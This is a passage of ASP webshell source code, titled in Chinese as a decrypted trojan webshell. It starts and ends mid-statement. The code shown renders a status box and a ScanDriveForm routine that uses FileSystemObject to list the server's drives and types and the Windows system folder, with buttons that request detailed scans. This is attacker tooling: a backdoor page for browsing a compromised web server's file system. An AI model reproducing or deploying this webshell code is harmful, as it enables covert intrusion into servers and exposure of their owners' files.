asp木马代码解密的随机加密webshell

se.Write " <TR>"
Response.Write " <TD class=TBHead>系统信息</TD>"
Response.Write " </TR>"
Response.Write " <TR>"
Response.Write " <TD align=middle bgcolor=#ecfccd>"
Response.Write " <TABLE width=82% border=0 cellpadding=5 cellspacing=0>"
Response.Write " <TR>"
Response.Write " <TD><FONT color=red>"
Response.Write state
Response.Write "</FONT></TD>"
Response.Write " <TR>"
Response.Write " <TD><P>"
Response.Write msg
Response.Write "</P></TD>"
Response.Write " </TR>"
Response.Write " </TABLE>"
Response.Write " </TD>"
Response.Write " </TR>"
Response.Write " <TR>"
Response.Write " <TD class=TBEnd>"
Response.Write " "
If flag=0 Then
Response.Write " <INPUT type=button value=关闭 onclick=""window.close();"">"
Response.Write " "
Else
Response.Write " <INPUT type=button value=返回 onClick=""history.go(-1);"">"
Response.Write " "
End if
Response.Write " </TD>"
Response.Write " </TR>"
Response.Write "</TABLE>"
End Sub
Function Red(str)
Red = "<FONT color=#ff2222>" & str & "</FONT>"
End Function

Sub ScanDriveForm() ''扫描磁盘信息
Dim FSO,DriveB
Set FSO = Server.Createobject("Scripting.FileSystemObject")


Response.Write "<TABLE width=480 border=0 align=center cellpadding=3 cellspacing=1 bgColor=#91d70d>"
Response.Write " <TR>"
Response.Write " <TD colspan=5 class=TBHead>磁盘/系统文件夹信息</TD>"
Response.Write " </TR>"


For Each DriveB in FSO.Drives
Response.Write " <TR align=middle class=TBTD>"
Response.Write " <FORM action="


Response.Write "?Action=ScanDrive&Drive="
Response.Write DriveB.DriveLetter
response.write " method=Post>"

response.write "<TD width=25"&chr(37)&"><B>盘符</B></TD>"
response.write "<TD width=15"&chr(37)&">"
response.write DriveB.DriveLetter
response.write ":</TD>"
response.write " <TD width=20"&chr(37)&"><B>类型</B></TD>"
response.write " <TD width=20"&chr(37)&">"
Select Case DriveB.DriveType
Case 1: Response.write "可移动"
Case 2: Response.write "本地硬盘"
Case 3: Response.write "网络磁盘"
Case 4: Response.write "CD-ROM"
Case 5: Response.write "RAM磁盘"
Case else: Response.write "未知类型"
End Select
Response.Write " </TD>"
Response.Write " <TD><INPUT type=submit value=详细报告></TD>"
Response.Write " </FORM>"
Response.Write " </TR>"
Next
Response.Write " <TR class=TBTD>"
Response.Write " <FORM action="
Response.Write "?Action=ScFolder&Folder="
Response.Write FSO.GetSpecialFolder(0)
Response.Write " method=Post> "
Response.Write " <TD align=middle><B>Windows文件夹</B></TD>"
Response.Write " <TD colspan=3>"
Response.Write FSO.GetSpecialFolder(0)
Response.Write "</TD>"
Response.Write " <TD align=middle><INPUT type=submit value=详细报告></TD>"
Response.Wri